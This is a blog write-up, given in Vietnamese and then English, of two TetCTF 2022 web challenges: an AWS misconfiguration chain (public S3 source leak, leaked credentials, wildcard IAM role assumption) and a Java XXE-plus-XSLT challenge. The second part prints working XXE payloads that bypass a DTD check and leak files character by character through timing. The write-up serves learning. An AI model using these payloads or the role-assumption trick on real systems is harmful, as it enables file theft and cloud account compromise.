(Bài này mình viết từ năm 2022 trên self-hosted blog và rồi mình repost lại trên Substack, sau đó mình lại quyết định chuyển blog sang Blogger nên hôm nay mình post lại nó ở đây).
1. Mở đầu
Mình khởi động đầu năm bằng việc cùng anh em trong CLB ATTT của trường tham gia TetCTF 2022 diễn ra trong 2 ngày 01/01 và 02/01. Team của bọn mình là blackpinker. Mặc dù TetCTF đã đến mùa thứ 4 nhưng năm nay là lần đầu tiên mình tham gia kỳ thi này. Trong giờ thi mình (dưới sự trợ giúp của đồng đội) có giải được 2 bài web là picked onions và transform2newyear, vì vậy mình sẽ writeup chi tiết 2 bài này.
2. Bài picked onions
2.1. Lấy source
Đề bài không cho source mà chỉ cho link trang web. Vào xem qua có được các endpoint trên menu:
/: Trang home với duy nhất 1 bức ảnh
/services: Vài dòng quảng cáo về web
/customers: 1 table có 2 cột là Name và Description, liệt kê ra các customer đã sử dụng service của web
/secret: 1 bức ảnh có ghi “I’ve got a Secret!”
/login: Form để login
Cái đáng nghi nhất trong số endpoint trên rõ ràng là /secret, quan sát kĩ hơn bằng cách view source, sẽ thấy ảnh được load từ https://secret-tetctf.s3.us-east-1.amazonaws.com/I%27ve_Got_a_Secret.jpg

1 subdomain của amazonaws.com - một dịch vụ cloud của Amazon, phần đầu URL là secret-tetctf.s3 cho thấy tác giả đang sử dụng 1 bucket của Amazon S3 để lưu trữ dữ liệu trên cloud. Để kiểm tra bucket này còn chứa gì khác ngoài bức ảnh trên, ta xóa phần đuôi I%27ve_Got_a_Secret.jpg, được kết quả dưới dạng XML
Từ đây cho thấy ngoài file ảnh ra còn có 1 file khác tên là secret, lấy file đó bằng cách access https://secret-tetctf.s3.us-east-1.amazonaws.com/secret. Mở bằng editor thấy đây là 1 file python code:
Dễ thấy đây là source code của trang web, các endpoint /, login, secret, services đều chỉ làm 1 chuyện là render template có sẵn, không có tham số nào có thể control, vì vậy ta bỏ qua chúng. Chú ý đến endpoint còn lại là customers.
Khi access /customers, web sẽ sử dụng 1 credential để truy cập vào Dynamo DB, sau đó lấy ra hết các row của table customers, với mỗi rows thực hiện:
Decode base64 field data
Đem dữ liệu đi code được cho vào pickle.loads
Object sau khi load, được append vào list data
List data sau đó làm tham số cho hàm render_template, vì /customers sẽ show ra 1 table nên đoán được data này sẽ chứa các object có Name và Description. Ở đây sử dụng hàm pickle.loads tức là đang thực hiện deserialize, vậy nếu như có thể kiểm soát input của lệnh này, tức là field data trong table customers thì ta có thể cho deserialize 1 object độc hại và có RCE. Điều này dẫn đến việc cần insert hoặc update trong table customers.
2.2. Upgrade permission nhờ misconfiguration
Vì đọc được source code nên AWS credential mà tác giả sử dụng đã bị leak, ta sẽ thử dùng nó để thao tác với Dynamo DB. Nhưng trước hết cần kiểm tra xem nó có những permission nào, ở đây mình sử dụng tool https://github.com/andresriancho/enumerate-iam để làm điều đó
Kết quả là với Dynamo DB không có quyền insert hay update mà chỉ có thể list hoặc xem một số thông tin của database. 2 permission sts.get_caller_identity và sts.get_session_token có thể lấy ra một số thông tin của credential đang dùng: ARN, Account ID, Username, Session token, là những thứ ta đã biết rồi. Vậy chỉ còn lại mỗi iam.list_role để list ra các role nên ta chạy thử. Kết quả là được 1 số role, trong đó có role tên là CTF_ROLE được config như sau:
Ở đây có đoạn AWS: "*" là misconfiguration. Nghĩa là bất cứ ai cũng có thể assume role này, miễn là PrincipalArn của họ match với pattern arn:aws:iam::*:role/*-Accessing_Tet_CTF_Flag*. Mà pattern này có dạng của 1 role, do đó idea sẽ là:
Tạo 1 AWS account, gọi là A
Tạo 1 role theo pattern arn:aws:iam::*:role/*-Accessing_Tet_CTF_Flag*, gọi là B
Dùng credential của A để assume role B, sau đó sẽ nhận được 1 credential mới gồm access key, secret key và session token đại diện cho role B
Sử dụng credential mới để assume role CTF_ROLE, nhận được 1 credential mới
Sử dụng credential mới, có thể sẽ có thêm nhiều permission khác
Idea là vậy, nhưng để tạo AWS account thì phải có credit card, vậy nên mình nhờ đồng đội là anh @Em0n tạo và test giùm, assume role tự tạo thì được nhưng sau đó assume CTF_ROLE thì không, mặc dù đã đúng pattern. Mình nghĩ có thể vấn đề do assume role từ role tự tạo sang CTF_ROLE là cross account. Thế nên mình đã mượn 1 AWS account khác của anh @mugi để test cross account và mình setup như sau:
Account A setup 2 role là role theo pattern của bài (role 1) và CTF_ROLE (role 2)
Dùng account B assume role 1 (cross account assume), sau đó assume role 2
Kết quả thì vẫn assume được cả role 1 lẫn 2. Khá khó hiểu nên mình hỏi tác giả là anh @0xfatty, nhờ anh ấy support thì mình mới biết là role 1 và role 2 của mình cùng trên 1 account nên có thể assume role thoải mái, nhưng từ role 1 của mình muốn assume role của server thì phải attach policy assume role cho role 1. Mình quên mất điều này nên chỉ attach policy cho mỗi account A.
Sau khi đã assume role CTF_ROLE, mình tiếp tục dùng enumerate-iam để xem đã có permission để insert hay update với dynamodb chưa.
Khá bất ngờ là còn ít permission hơn credential lấy từ source, và không có permission nào liên quan đến dynamodb. Nhưng có 1 permission là list-buckets. Nhờ đó biết được còn có 1 private bucket nữa và trong đó có chứa flag.
2.3. Bên lề
Bài này dạng web, nhưng thật ra là cloud, nó thực tế và bắt kịp xu hướng hiện tại. Khi làm bài này thì mình còn chưa có kiến thức gì về cloud cả, nên tiện thể chơi CTF thì dành thời gian nghiên cứu và học (nhanh) 1 kiến thức mới luôn, trong lúc nghiên cứu mình cũng có coi qua video BabyTalk #3 có anh Chi Tran nói về cách tiếp cận các bug trên AWS, khá hay. Cảm ơn anh 0xfatty đã ra 1 challege về lĩnh vực cloud rất thú vị, giúp mọi người nhận thức được việc tuy 1 misconfiguration nhỏ có thể nguy hiểm thế nào đến system.
3. Bài transform2newyear
3.1. Phân tích source
Đọc Dockerfile sẽ biết được phải cài JDK bản nào để debug, và biết directory chứa flag cũng như tên flag được random theo 1 format. Tạo 1 project mới trong IntelliJ rồi add file jar của bài vào phần Library để đọc source. Web sử dụng Spring Framework với đoạn xử lý chính nằm trong foo.bar.tetctf

Đọc source sẽ biết được có 2 endpoint là GET / và POST /tetctf/2022/transform2newyear. Endpoint đầu tiên chỉ show ra câu chào mừng nên chuyển qua endpoint còn lại.
Endpoint này nhận Content-Type là text/xml, nội dung body là doc sau đó được đưa qua Utils.transform và không lấy kết quả trả về. Nếu không có exception nào xảy ra thì response sẽ là “Happy new year and enjoy TetCTF 2022 !”, ngược lại thì trả ra thông báo về exception (chứ không có nội dung chi tiết exception).
Tiếp tục đọc code ở Utils.transform

doc đầu tiên sẽ được parseXML, điều này hợp lý vì content nhận vào là text/xml, sau đó sử dụng TransformerFactory để transform dữ liệu đã parse. Kết quả sau khi transform được lưu vào biến local byteArrayOutputStream và không return nó.
Đọc docs của java một tí thì sẽ biết TransformerFactory mặc định sẽ dùng 1 file XSLT để transform 1 file XML. Nói cụ thể hơn về quá trình transform này, XSLT là 1 file chứa các instruction, khi đưa file XSLT qua 1 transform processor, nó sẽ đọc các instruction và transform 1 file XML nào đó theo tác dụng của instruction tương ứng. Mục đích là để chuyển file XML sang 1 dạng nào đó, có thể là HTML, plaintext hay thậm chí vẫn là XML nhưng có cấu trúc bên trong kiểu khác.
Do đó, input đưa vào endpoint này phải là 1 file XSLT. Ở đoạn code trên ta có thể thấy có phần setFeature để set secure-processing là true, mục đích là để ngăn chặn XSLT Injection, không cho đọc file, RCE, … Như vậy đoạn code transform này có vẻ an toàn.
Nhưng trước khi transform, input của chúng ta đã đi qua parseXML, vì bản chất file XSLT cũng là XML. Vậy nếu hàm parseXML không an toàn thì ta có thể lợi dụng để XXE. Để biết nó có an toàn hay không, ta đọc nó.
Đoạn này trước tiên tiền xử lý data bằng hàm preParsingValidation, sau đó parse bằng DocumentBuilder, nếu như không có hàm preParsingValidation thì đoạn parse này không an toàn, vì cần phải set các feature về secure processing như đoạn transform vậy thì mới ổn. Do đó xem tiếp hàm preParsingValidation.
3.2. Bypass preParsingValidation để XXE

Hàm này là 1 hàm void, bên trong có 1 đoạn throw exception nếu như thỏa mãn 1 điều kiện gì đó, nội dung exception là về security warning DTD. Từ đó biết được hàm này sẽ check xem input của mình có chứa DTD để XXE không, nếu có thì throw ra lỗi và không tiếp tục parse XML. Do tác giả không bật secure processing feature khi parse mà lại tự viết 1 hàm check riêng, rõ ràng là muốn người chơi bypass hàm này rồi.
Các payload XXE thường sẽ bắt đầu bằng
<!--?xml version="1.0" ?--><!DOCTYPE ...
hoặc là
<xml version="1.0"><!DOCTYPE ...
hoặc
<xml version="1.0"><!-- comment here --><!DOCTYPE ...
hoặc một số trường hợp khác tương tự vậy.
Dựa trên điều đó, hàm sẽ kiểm tra bằng cách duyệt từ đầu input, mỗi khi gặp open tag <xml hoặc <!-- thì sẽ chạy tiếp mà không quan tâm đến các kí tự ở giữa cho đến khi gặp close tag là ?> hoặc -->. Nếu gặp open tag nào đó khác thì break, sau đó kiểm tra dãy kí tự phía sau vị trí i có phải là <!DOCTYPE hay không, nếu có thì input bị từ chối.
Do đó để bypass, cần tìm cách sao cho trong input có <!DOCTYPE, nhưng khi vòng while kết thúc thì giá trị biến i không được nằm ngay trước <!DOCTYPE.
Vòng lặp while sẽ kết thúc khi đã duyệt qua hết input hoặc khi biến done là true. Rõ ràng ta cần i sau vòng lặp ở trước <!DOCTYPE nên không được để trường hợp kết thúc khi duyệt xong input.
Để biến done là true thì sẽ có 2 trường hợp:
Thấy 1 dấu open tag < và tag được mở ngay sau đó không phải là <!-- và <xml
Gặp 1 kí tự nào đó khác dấu < và các loại whitespace (\t, space, \r, \n)
Nếu như đặt 1 tag nào đó ở giữa <xml và <!DOCTYPE thì sẽ hoặc ở giữa <!-- và <!DOCTYPE, chẳng hạn <xml version="1.0"?><tag></tag><!DOCTYPE, thì sẽ không hợp lệ do đó loại trừ trường hợp 1.
Nếu như gặp 1 kí tự thuộc trường hợp 2, thì các kí tự trước đó (nếu có) phải là dấu close tag ?> hoặc -->, nhưng nếu có 1 kí tự ở giữa 2 tag <xml và <!DOCTYPE hoặc <!-- và <!DOCTYPE cũng không hợp lệ.
Nhưng sẽ ra sao nếu ở trường hợp 2, dấu close tag ngay trước đó lại không thực sự là dấu close tag?
<xml version="1.0" encoding="?>"?><!DOCTYPE ...
Bằng việc bỏ ?> vào attribute encoding, ta có thể lừa cho hàm hiểu đó là dấu close tag và kí tự tiếp theo rơi vào " khiến hàm while kết thúc, và mình test local thấy encoding là “?>” thì vẫn được parse bình thường.
3.3. XXE + XSLT
Vậy đã có XXE rồi, có thể đọc file, nhưng bài chặn hết outbound connection, và cũng try catch rất kĩ nên làm sao đọc được output? Mà flag đặt random thì làm sao biết phải đọc file nào? Do đó dù đã có XXE nhưng mình vẫn loay hoay tìm cách RCE, đi vào bế tắc. Suy nghĩ lại thì còn chi tiết XSLT là chưa tận dụng, dù nó an toàn. Mình thử search XXE và XSLT ra được 1 bài viết gần đây của anh @tint0, nói 1 chain dùng if trong XSLT để extract từng kí tự trong file XML bằng time-based. Quá hợp lý cho trường hợp này!
Nhưng như vậy mới chỉ đọc được output của XXE, chưa biết flag ở đâu để đọc. Tuy nhiên mình có test trên local thì nếu đọc file / thì nó là 1 directory nhưng vẫn đọc được và nội dung là tên các file bên trong directory đó. Vì vậy cứ đọc / sẽ biết flag nằm đâu thôi.
Ban đầu mình dùng payload này để đọc các directory name ở / (các bạn thay thế <!ABC thành <!ENTITY giúp mình nhé, không hiểu sao Substack bị lỗi khi mình dùng <!ENTITY):
<?xml version="1.0" encoding="?>"?>
<!DOCTYPE replace [<!ABC example SYSTEM "file:///"> ]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:my="my:my">
<xsl:variable name="content">&example;</xsl:variable>
<xsl:template match="*">
<xsl:if test="substring($content,1,1) = 'a'">
<xsl:for-each select="//.">
<xsl:for-each select="//.">
<xsl:for-each select="//.">
<xsl:for-each select="//.">
<xsl:for-each select="//.">
<a/>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:if>
</xsl:template>
</xsl:stylesheet>
Payload này sau khi qua parseXML thì phần <xsl:variable> sẽ chứa content là nội dung file đọc được, khi đó dùng <xsl:if để extract nội dung biến $content: Nếu điều kiện đúng thì cho nhiều for lồng nhau để delay.
Kết quả khá ổn, có được đường dẫn chứa flag là /vUyzYxX4uZ
.dockerenv
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
supervisord.log
supervisord.pid
sys
tmp
usr
var
vUyzYxX4uZ
Tiếp tục đọc ở /vUyzYxX4uZ, ra được tên file flag là flag_0001t.txt
Giờ dùng cách tương tự đọc flag nữa là xong, easy game? No :(((
3.4. Special flag
Flag mình đọc được bị thiếu, mình có hỏi tác giả là anh @ducnh thì anh khuyên mình test trên local đã, lúc đọc flag ở local mình đã hiểu ra vấn đề.
Flag TetCTF{<?TetCTF ?> sample flag, :) }.
Ở trong flag có chứa <? và ?>, file XSLT sẽ hiểu đây là 1 processing instruction, do đó biến $content lúc này chỉ là TetCTF{ sample flag, :) }. Vì vậy cần tìm cách đọc nội dung trong 1 (hoặc nhiều) processing instruction như vậy.
Đến khúc này mình loay hoay mãi không làm được nên đã nhờ 2 đồng đội là anh @Em0n và @mugi trợ giúp, và có được payload để đọc phần bên trong (các bạn thay thế <!ABC thành <!ENTITY giúp mình nhé, không hiểu sao Substack bị lỗi khi mình dùng <!ENTITY):
<?xml version="1.0" encoding="?>"?>
<!DOCTYPE replace [<!ABC example SYSTEM "file:///"> ]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:my="my:my">
<my:menu>&example;</my:menu>
<xsl:template match="processing-instruction()">
<xsl:processing-instruction name="_">
<xsl:if test="substring(concat(., ' '), 1, 1) = 'a'">
<xsl:for-each select="//.">
<xsl:for-each select="//.">
<xsl:for-each select="//.">
<xsl:for-each select="//.">
<xsl:for-each select="//.">
<a/>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:if>
</xsl:processing-instruction>
</xsl:template>
</xsl:stylesheet>
Đoạn <xsl:template match="processing-instruction()"> sẽ lấy ra các processing instruction, nếu có nhiều thì có thể lấy từng cái bằng cách <xsl:template match="processing-instruction()[position()=2]">. Sau đó với mỗi processing instruction được match, ví dụ là <?a b?> thì . sẽ trả về a và b, nên cần concat(., ' ') để nối chúng lại bằng dấu cách.
Cách này có thể lấy được nội dung của nhiều processing instruction, nhưng sau khi lấy thì phải đặt vào vị trí nào cho phù hợp, vì flag trong bài chỉ có 1 processing instruction nên có thể tìm được vị trí để ghép. Nhưng nếu có nhiều thì sao? Trong lúc nghịch ngợm mình đã có payload này (các bạn thay thế <!ABC thành <!ENTITY giúp mình nhé, không hiểu sao Substack bị lỗi khi mình dùng <!ENTITY):
<?xml version="1.0" encoding="?>"?>
<!DOCTYPE replace [<!ABC example SYSTEM "file:///"> ]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:my="my:my">
<my:menu>&example;</my:menu>
<xsl:template match="*">
<xsl:if test="substring(/*/my:menu/text()[1],1,1) = 'a'">
<xsl:for-each select="//.">
<xsl:for-each select="//.">
<xsl:for-each select="//.">
<xsl:for-each select="//.">
<xsl:for-each select="//.">
<a/>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:if>
</xsl:template>
</xsl:stylesheet>
Cách này mình sẽ đặt entity vào giữa tag <my:menu>, sau đó đoạn if mình sẽ dùng XPath để gọi tới <my:menu>, khi đó nếu flag là a<?zz?>b<?xx?>c thì /*/my:menu/text()[1] sẽ trả về a, /*/my:menu/text()[2] sẽ trả về b, …, như vậy có thể biết được các vị trí nào cần chèn processing instruction.
3.5. Bên lề
Cá nhân mình thấy đây là 1 bài java web hay, giúp mình học được nhiều thứ. Qua việc làm bài này giúp mình biết đến sự tồn tại của XSLT, và cũng biết thêm khái niệm về processing instruction. Cảm ơn anh @ducnh vì challenge bổ ích này.
4. Lời kết
Thật tự hào khi nước mình lại có 1 CTF nằm trong top đáng để chơi của thế giới với sự tham gia của nhiều đội mạnh từ các nước. Challenge chất lượng cao, dù có làm được hay không thì cũng có thứ để học. Bên cạnh đó thì mình cũng rất thích giao diện trang thi, nó rất đẹp và mang đậm màu sắc của mùa xuân ở Việt Nam. Cảm ơn các anh trong BTC đã tạo ra một sân chơi bổ ích như vậy. Chúc TetCTF ngày một phát triển và sớm trở thành World Class CTF <3.
(I originally wrote this post in 2022 on my self-hosted blog, then reposted it on Substack. Later, I decided to move my blog to Blogger, so I'm reposting it here today).
1. Introduction
I started 2022 by participating in TetCTF 2022 with members of my university's Information Security Club. The competition took place over two days, January 1st and 2nd, and our team was blackpinker. Although TetCTF was already in its fourth edition, this was my first time participating. During the competition, with the help of my teammates, I managed to solve two web challenges: picked onions and transform2newyear. This write-up covers both challenges in detail.
2. picked onions
2.1. Obtaining the Source Code
The challenge did not provide the source code; only a web application URL was given. After inspecting the application, I found the following endpoints in the navigation menu:
-
/: Home page containing a single image
-
/services: A few lines of advertisement describing the website
-
/customers: A table with two columns, Name and Description, listing customers who had used the website's service
-
/secret: An image containing the text "I've got a Secret!"
-
/login: A login form
The most suspicious endpoint was clearly /secret. Taking a closer look by viewing the page source revealed that the image was loaded from https://secret-tetctf.s3.us-east-1.amazonaws.com/I%27ve_Got_a_Secret.jpg

This is a subdomain of amazonaws.com, which indicates that Amazon Web Services is being used. More specifically, the secret-tetctf.s3 part suggests that the application is using an Amazon S3 bucket to store data in the cloud. To check whether the bucket contained anything other than the image, I removed I%27ve_Got_a_Secret.jpg from the URL. The response was an XML document listing the bucket contents.

From the listing, I found another file named secret. I accessed it through https://secret-tetctf.s3.us-east-1.amazonaws.com/secret. Opening the file in an editor revealed that it contained Python source code.
It was easy to see that the /, /login, /secret, and /services endpoints simply rendered predefined templates without accepting any user-controlled parameters, so I could ignore them. The remaining interesting endpoint was /customers.

When accessing /customers, the application uses a credential to access DynamoDB and retrieves all rows from the customers table. For each row, it performs the following operations:
-
Base64-decodes the
data field.
-
Passes the decoded data to
pickle.loads.
-
Appends the resulting object to a list named
data.
The data list is then passed to render_template. Since /customers displays the data in a table, it is reasonable to assume that the objects contain Name and Description fields. The use of pickle.loads means the application is performing deserialization. Therefore, if we can control the input passed to pickle.loads, specifically, the data field in the customers table, we may be able to deserialize a malicious object and achieve RCE. This means we need a way to insert or update records in the customers table.
2.2. Privilege Escalation Through Misconfiguration
Since the source code exposed the AWS credential used by the application, I tried using it to interact with DynamoDB. Before doing anything else, I needed to determine what permissions the credential actually had. I used enumerate-iam for this purpose.
The result showed that the credential did not have permission to insert or update DynamoDB records. It could only list or retrieve certain database-related information. The permissions sts.get_caller_identity and sts.get_session_token could reveal information about the current credentials, such as the ARN, Account ID, username, and session token, all information that was already known. That left iam.list_role, which could be used to enumerate IAM roles. Running it revealed several roles, including one named CTF_ROLE, configured as follows:

The misconfiguration part is AWS: "*". It meant that anyone could potentially assume this role as long as their PrincipalArn matched the pattern arn:aws:iam::*:role/*-Accessing_Tet_CTF_Flag* . Since this pattern corresponds to an IAM role, the idea was:
-
Create an AWS account, which we will call Account A.
- Create a role matching the pattern
arn:aws:iam::*:role/*-Accessing_Tet_CTF_Flag*, which we will call Role B.
-
Use credentials from Account A to assume Role B, obtaining a new set of credentials consisting of an access key, secret key, and session token representing Role B.
-
Use the new credentials to assume
CTF_ROLE, obtaining another set of credentials.
-
Use those credentials to potentially gain additional permissions.
That was the basic idea. However, creating an AWS account requires a credit card, so I asked my teammate @Em0n to create and test the setup for me. He was able to assume the role we created, but was unable to assume CTF_ROLE, even though the role name matched the required pattern. I initially suspected that the problem was related to assuming a role across AWS accounts. To test this, I borrowed another AWS account from @mugi and set up the following environment:
-
Account A contained two roles: the role matching the challenge's required pattern (Role 1) and
CTF_ROLE (Role 2). - Account B assumed Role 1 (cross account assume) and then assume Role 2.
Surprisingly, both role assumptions worked. I asked the challenge author, @0xfatty, for help. He pointed out the issue: because Role 1 and Role 2 were both in the same account in my test setup, they could assume each other normally. However, for my Role 1 to assume a role in the challenge's AWS account, I also needed to attach an AssumeRole policy to Role 1. I had forgotten this part and had only configured the policy for Account A.
After successfully assuming CTF_ROLE, I ran enumerate-iam again to check whether I now had permission to insert or update items in DynamoDB.
Surprisingly, the assumed role actually had fewer permissions than the credentials obtained from the source code, and none of them were related to DynamoDB. However, there was one interesting permission: list-buckets. This allowed me to discover another private S3 bucket, which contained the flag.
2.3. Side Note
Although this was categorized as a web challenge, it was actually much more of a cloud security challenge. It felt very practical and aligned well with current security trends. At the time, I had almost no knowledge of cloud security. So while solving the challenge, I also took the opportunity to quickly learn about AWS and cloud security in general. During my research, I also watched BabyTalk #3, where Chi Tran discussed approaches to finding vulnerabilities in AWS. It was a very interesting talk. Thanks to @0xfatty for creating such an interesting cloud-focused challenge. It was a great demonstration of how even a seemingly small cloud misconfiguration can have serious consequences for an entire system.
3. transform2newyear
3.1. Source Code Analysis
Reading the Dockerfile revealed which JDK version was required for debugging. It also revealed the directory containing the flag and the format used to randomly generate the flag filename. I created a new project in IntelliJ and added the challenge's JAR file as a library so that I could inspect the source code. The web application uses the Spring Framework, with the main logic located under foo.bar.tetctf

From the source code, I identified two endpoints:
-
GET /
-
POST /tetctf/2022/transform2newyear
The first endpoint simply displays a welcome message, so I focused on the second one.
The endpoint accepts requests with the content type Content-Type: text/xml . The request body is stored in doc and then passed to Utils.transform. The return value is ignored. If no exception occurs, the application returns Happy new year and enjoy TetCTF 2022 !. Otherwise, it returns an error message containing information about the exception, although not the full exception details.
I then continued analyzing Utils.transform.

The doc input is first passed to parseXML. This makes sense because the endpoint expects text/xml. The parsed document is then passed to TransformerFactory for transformation. The transformation result is stored in a local byteArrayOutputStream and is not returned to the caller.
Looking at the Java documentation, TransformerFactory normally uses an XSLT stylesheet to transform an XML document. More specifically, XSLT is a language containing transformation instructions. An XSLT processor reads these instructions and transforms an XML document according to them. The output can be HTML, plain text, or even another XML document with a different structure.
Therefore, the input to this endpoint should actually be an XSLT document. The code also calls setFeature to enable secure-processing. This is intended to prevent attacks such as XSLT injection, file access, RCE, and similar issues. At first glance, the transformation logic therefore appears to be secure.
However, before the transformation takes place, our input is passed through parseXML. Since an XSLT document is itself an XML document, this means that if parseXML is vulnerable, we may be able to exploit it for XXE injection. To determine whether this parser was secure, I inspected its implementation.
The code first preprocesses data using a function called preParsingValidation, and then parses it using DocumentBuilder. Without preParsingValidation, this XML parsing operation would be unsafe because the parser needs to have the appropriate security features enabled, just like the transformation stage. Therefore, the next step was to analyze preParsingValidation.
3.2. Bypassing preParsingValidation to Achieve XXE
preParsingValidation is a void function containing a conditional exception throw. The exception message is related to a DTD security warning. This immediately suggests that the function checks whether the input contains a DTD that could be used for XXE. If one is detected, it throws an exception and prevents the XML document from being parsed. Since the author chose to implement a custom check instead of enabling secure XML processing directly in the parser, it was fairly clear that the intended solution was to bypass this validation.
Typical XXE payloads often begin with constructs such as:
or:
or:
along with similar variations.
Based on this behavior, the validation function scans the input from the beginning. Whenever it encounters an opening tag such as <xml or <!--, it continues scanning without caring about the characters in between until it encounters the corresponding closing sequence, ?> or -->. If it encounters another opening tag, it breaks out of the loop. It then checks whether the sequence immediately following position i is <!DOCTYPE. If so, the input is rejected.
Therefore, to bypass the validation, we need an input containing <!DOCTYPE while ensuring that, when the while loop terminates, the value of i does not point immediately before <!DOCTYPE.
The loop terminates either when the entire input has been processed or when done becomes true. Clearly, we need the latter case, with i positioned before <!DOCTYPE, but without allowing the scan to reach the end of the input.
There are two ways for done to become true:
-
The parser encounters an opening tag
<, but the tag following it is neither <!-- nor <xml.
-
It encounters a character that is neither
< nor whitespace (\t, space, \r, or \n).
If we place another tag between <xml and <!DOCTYPE, or between <!-- and <!DOCTYPE, such as <xml version="1.0"?><tag></tag><!DOCTYPE the input becomes invalid, so case 1 can be ruled out.
For case 2, if a non-whitespace character is encountered, the characters immediately before it must have been a closing sequence such as ?> or -->. However, inserting any character between the <xml/<!-- section and <!DOCTYPE would also make the XML invalid.
But what if the closing sequence immediately before that character is not actually a closing sequence?
For example:
By placing ?> inside the encoding attribute, we can trick the validation function into treating it as the closing sequence. The next character is then ", which causes the while loop to terminate. I tested this locally and confirmed that using ?> as the encoding value is still accepted by the XML parser. Thus, the validation can be bypassed.
3.3. XXE + XSLT
At this point, I had XXE and could potentially read files. However, the challenge blocked outbound connections and wrapped the relevant operations in extensive try/catch blocks, so how could I retrieve the output? Moreover, the flag filename was randomly generated, so how could I even know which file to read? Despite having XXE, I was stuck and initially tried to find a way to achieve RCE. Thinking about the problem again, I realized that there was still one part of the application I had not fully exploited: XSLT. Although the XSLT processing itself was secure, I searched for combinations of XXE and XSLT and found a recent article by @tint0 describing a technique that uses if conditions in XSLT to extract individual characters from an XML file through time-based side channels. This was a perfect fit for the challenge.
The only remaining problem was determining where the flag was located. I tested the technique locally and discovered that reading / with XXE returned a directory listing. In other words, even though / is a directory, it could still be read and its contents revealed the filenames inside it. Therefore, reading / should reveal the directory containing the flag.
I initially used the following payload to enumerate the directories under / (replace <!ABC with <!ENTITY; for some reason, Substack breaks when I use <!ENTITY directly):
<?xml version="1.0" encoding="?>"?>
<!DOCTYPE replace [<!ABC example SYSTEM "file:///"> ]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:my="my:my">
<xsl:variable name="content">&example;</xsl:variable>
<xsl:template match="*">
<xsl:if test="substring($content,1,1) = 'a'">
<xsl:for-each select="//.">
<xsl:for-each select="//.">
<xsl:for-each select="//.">
<xsl:for-each select="//.">
<xsl:for-each select="//.">
<a/>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:if>
</xsl:template>
</xsl:stylesheet>
After parseXML processes the payload, the <xsl:variable> element contains the contents of the referenced file. The <xsl:if> condition can then be used to extract the value of $content one character at a time. When the condition evaluates to true, several nested for-each loops introduce a measurable delay.
The result was quite good. I discovered the directory /vUyzYxX4uZ containing the flag:
.dockerenv
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
supervisord.log
supervisord.pid
sys
tmp
usr
var
vUyzYxX4uZ
I then read /vUyzYxX4uZ and discovered the flag filename flag_0001t.txt
Now all that remained was to read the flag using the same technique. Easy game? No :(((
3.4. The Special Flag
The flag I retrieved was incomplete. I asked the author, @ducnh, about it, and he suggested testing the payload locally first. After doing so, I understood the problem.
The flag was:
The flag contains <? and ?>. In an XSLT document, these are interpreted as a processing instruction. As a result, the $content variable only contained TetCTF{ sample flag, :) }. Therefore, I needed a way to extract the contents of one or more processing instructions.
I was stuck on this part for quite a while, so I asked two teammates, @Em0n and @mugi, for help. They came up with the following payload to extract the contents inside processing instructions (again, replace <!ABC with <!ENTITY):
<?xml version="1.0" encoding="?>"?>
<!DOCTYPE replace [<!ABC example SYSTEM "file:///"> ]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:my="my:my">
<my:menu>&example;</my:menu>
<xsl:template match="processing-instruction()">
<xsl:processing-instruction name="_">
<xsl:if test="substring(concat(., ' '), 1, 1) = 'a'">
<xsl:for-each select="//.">
<xsl:for-each select="//.">
<xsl:for-each select="//.">
<xsl:for-each select="//.">
<xsl:for-each select="//.">
<a/>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:if>
</xsl:processing-instruction>
</xsl:template>
</xsl:stylesheet>
The template <xsl:template match="processing-instruction()"> matches processing instructions. If there are multiple processing instructions, individual ones can be selected using something like <xsl:template match="processing-instruction()[position()=2]">. For each matched processing instruction, for example <?a b?>, the . expression returns its contents, a and b. Therefore, I used concat(., ' ') to concatenate them with a space.
This technique can extract the contents of multiple processing instructions. However, after extracting them, we still need to determine where each piece belongs. In this challenge, the flag contains only one processing instruction, so its position can be inferred. But what if there are multiple processing instructions? While experimenting, I came up with the following payload (again, replace <!ABC with <!ENTITY):
<?xml version="1.0" encoding="?>"?>
<!DOCTYPE replace [<!ABC example SYSTEM "file:///"> ]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:my="my:my">
<my:menu>&example;</my:menu>
<xsl:template match="*">
<xsl:if test="substring(/*/my:menu/text()[1],1,1) = 'a'">
<xsl:for-each select="//.">
<xsl:for-each select="//.">
<xsl:for-each select="//.">
<xsl:for-each select="//.">
<xsl:for-each select="//.">
<a/>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:for-each>
</xsl:if>
</xsl:template>
</xsl:stylesheet>
Here, I place the external entity inside the <my:menu> element. The if condition then uses XPath to access <my:menu>. If the flag is a<?zz?>b<?xx?>c then /*/my:menu/text()[1] returns a, /*/my:menu/text()[2] returns b, and so on. This allows us to determine the positions where the processing instructions need to be inserted when reconstructing the original content.
3.5. Side Note
Personally, I think this was a very interesting Java web challenge and it taught me a lot. Solving it introduced me to XSLT and also to the concept of processing instructions, both of which were new to me at the time. Thanks to @ducnh for creating such an educational challenge.
4. Conclusion
I am really proud that Vietnam has a CTF that ranks among the world's noteworthy competitions, attracting many strong teams from different countries. The challenges were high quality, and regardless of whether you managed to solve them, there was always something new to learn. I also really liked the competition platform's UI. It looked great and captured the atmosphere and colors of the Vietnamese spring season very well. Thanks to all the organizers for creating such a valuable playground for the security community. I hope TetCTF continues to grow and eventually becomes a world-class CTF <3.
Comments
Post a Comment